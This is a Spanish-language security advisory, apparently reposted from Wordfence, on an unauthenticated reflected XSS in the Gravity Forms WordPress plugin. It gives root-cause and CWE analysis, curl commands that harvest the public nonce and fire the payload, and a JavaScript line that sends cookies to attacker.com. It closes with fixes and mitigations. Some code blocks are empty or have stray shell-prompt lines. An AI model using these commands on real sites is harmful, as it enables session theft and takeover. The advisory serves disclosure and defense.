Registro Público de Wordfence

Descripción

El plugin Gravity Forms para WordPress (probado hasta la versión 2.9.28) es vulnerable a cross-site scripting (XSS) reflejado no autenticado a través del parámetro form_ids en la acción AJAX gform_get_config. La vulnerabilidad existe porque los valores de form_ids proporcionados por el usuario se reflejan textualmente en la respuesta HTTP del servidor sin ningún tipo de saneamiento, codificación o escape de salida. La respuesta se sirve con una cabecera Content-Type: text/html; charset=UTF-8, lo que hace que el navegador analice y renderice el contenido reflejado como HTML, incluidos los elementos de script inyectados.

Un atacante no autenticado puede explotar esta vulnerabilidad para ejecutar JavaScript arbitrario en el contexto del origen del sitio WordPress objetivo. Debido a que la acción gform_get_config requiere un config_nonce válido, y este nonce está incrustado públicamente en el código fuente HTML de cada página que carga un formulario de Gravity Forms, un atacante puede obtener trivialmente un nonce válido solicitando cualquier página pública del sitio objetivo antes de construir la solicitud de explotación.

Una explotación exitosa permite a un atacante robar cookies de sesión, realizar acciones en nombre de usuarios autenticados (incluidos administradores de WordPress), redirigir a los usuarios a sitios maliciosos, alterar el contenido de la página o establecer acceso persistente mediante la creación de cuentas administrativas.

Análisis de Causa Raíz

Endpoint Vulnerable```

POST /wp-admin/admin-ajax.php

Parámetro vulnerable

El parámetro POST args acepta un objeto JSON que contiene un array form_ids. Los valores de este array se utilizan como claves de objeto en la estructura de la respuesta JSON sin saneamiento:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Por Qué Esto Es Explotable

1. Sin Validación de Entrada: Los valores de form_ids no se validan como enteros, no se sanean ni se filtran. El servidor acepta contenido de cadena arbitrario, incluyendo etiquetas HTML y manejadores de eventos.
2. Sin Codificación de Salida: Los valores de form_ids se reflejan en el cuerpo de la respuesta sin codificación de entidades HTML. Caracteres como <, >, " y ' pasan sin modificaciones.
3. Tipo de Contenido HTML: La respuesta se sirve con Content-Type: text/html; charset=UTF-8, lo que indica al navegador que analice el cuerpo de la respuesta como HTML. Cualquier etiqueta HTML dentro del valor reflejado se instancia y se renderiza mediante el analizador HTML del navegador.
4. Nonce de Acceso Público: El config_nonce requerido por la acción gform_get_config está incrustado en el objeto de configuración de JavaScript (gform_theme_config) en cada página que carga un formulario de Gravity Forms. Este nonce es idéntico en todas las páginas y no está vinculado a una sesión de usuario específica, lo que lo hace trivialmente obtenible por usuarios no autenticados.

Análisis CWE

Esta vulnerabilidad es el resultado de múltiples debilidades contribuyentes que se encadenan para producir la condición explotable. Si bien CWE-79 es la clasificación principal para fines de informes CVE, la cadena completa documenta cómo cada fallo se acumula para habilitar la explotación.

Cadena de Debilidades```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: Codificación o Escape de Salida Incorrecto (Fallo Técnico Principal)

Rol: Vulnerabilidad principal — la causa directa de la condición XSS.

Cuando el servidor construye la respuesta JSON que contiene los valores de form_ids, no aplica codificación de entidades HTML a la salida. Los caracteres con significado especial en HTML (<, >, ", ', &) pasan sin modificar al cuerpo de la respuesta. Las funciones PHP htmlspecialchars(), esc_html(), wp_json_encode() con JSON_HEX_TAG, o funciones equivalentes de codificación de salida no se aplican a los valores de form_ids antes de que se escriban en la respuesta.

Evidencia: La cadena literal <svg onload=alert(document.domain)> aparece en el cuerpo de la respuesta byte por byte idéntica a la entrada, en lugar de como <svg onload=alert(document.domain)>.

CWE-838: Codificación Inapropiada para el Contexto de Salida (Agravante)

Rol: Escalada de contexto — transforma un problema de reflexión de datos en inyección de código ejecutable.

El cuerpo de la respuesta contiene datos estructurados en JSON pero se sirve con Content-Type: text/html; charset=UTF-8. Esta declaración de Content-Type indica al analizador HTML del navegador que procese todo el cuerpo de la respuesta como un documento HTML. Si la respuesta se sirviera como application/json, el navegador mostraría la respuesta como texto plano y no se produciría ningún análisis HTML — las etiquetas inyectadas se mostrarían como texto literal en lugar de instanciarse como elementos DOM.

Evidencia:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

Este nonce se confirmó que era:

• Idéntico en todas las páginas del sitio objetivo (portada, páginas de formularios, páginas sin formularios)
• No vinculado a una sesión de usuario (mismo valor devuelto con o sin cookies)
• No rotado por petición (estático durante períodos prolongados)

Cabeceras de Seguridad Presentes (Insuficientes)

Prueba de Concepto

Entorno

Paso 1: Obtener un Nonce Válido

Solicite cualquier página del sitio objetivo que cargue un formulario de Gravity Forms y extraiga el valor de config_nonce:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Paso 2: Enviar la solicitud de explotación

Envía una solicitud POST al manejador AJAX de WordPress con un valor form_ids manipulado que contenga una carga útil XSS:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

Cuerpo de la Respuesta HTTP:```html

Response:```html

JavaScript decodificado:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

Escenario 3: Toma de control del DOM para phishing

El XSS reflejado puede reemplazar todo el DOM de la página con una superposición de phishing convincente (por ejemplo, una página de inicio de sesión falsa o un aviso de sesión caducada) para recopilar credenciales directamente.

Flujo del ataque```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. Codificación de salida — Aplica wp_json_encode() con las banderas JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT al construir la respuesta JSON para garantizar que los caracteres significativos de HTML se escapen: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Corrección de Content-Type — Establece el Content-Type de la respuesta a application/json en lugar de text/html para todas las respuestas JSON de AJAX. Esto evita que el navegador analice la respuesta como HTML incluso si se refleja contenido sin sanitizar: ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Alcance del Nonce — Considere vincular el config_nonce a la sesión del usuario o implementar limitación de velocidad en la generación de nonces para aumentar el coste de la explotación automatizada.

Para Administradores de Sitios (Mitigación Inmediata)

1. Firewall de Aplicaciones Web (WAF) — Implemente reglas WAF para detectar y bloquear etiquetas HTML en el parámetro args de las solicitudes POST a admin-ajax.php donde action=gform_get_config
2. Política de Seguridad de Contenido — Implemente una directiva CSP script-src restrictiva (por ejemplo, script-src 'self') para evitar la ejecución de scripts en línea incluso si se reflejan
3. Supervisar Actualizaciones — Aplique el parche de Gravity Forms inmediatamente cuando se publique
4. Auditar Cuentas de Administrador — Revise las cuentas de administrador existentes para detectar adiciones no autorizadas

Cronología de Divulgación

Referencias

• Documentación de Seguridad de Gravity Forms
• [Contacto de Seguridad de Gravity Forms](mailto:[email protected])
• CWE-79: Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web
• OWASP Cross-Site Scripting (XSS)
• API AJAX de WordPress — admin-ajax.php
• CVE-2023-2701 — XSS previo en Gravity Forms (vector diferente)
• CVE-2024-13377 — XSS almacenado previo en Gravity Forms vía parámetro alt (vector diferente)

Aviso Legal

Esta vulnerabilidad fue descubierta durante un compromiso de pruebas de penetración autorizado realizado bajo una declaración de trabajo firmada con autorización escrita explícita. Todas las pruebas se realizaron dentro del alcance acordado, y los hallazgos se reportaron al cliente inmediatamente tras su descubrimiento. Esta divulgación sigue prácticas de divulgación responsable. No se accedió a sistemas no autorizados y no se exfiltraron datos fuera de la validación controlada de prueba de concepto.

Descubierto por: Anthony Cihan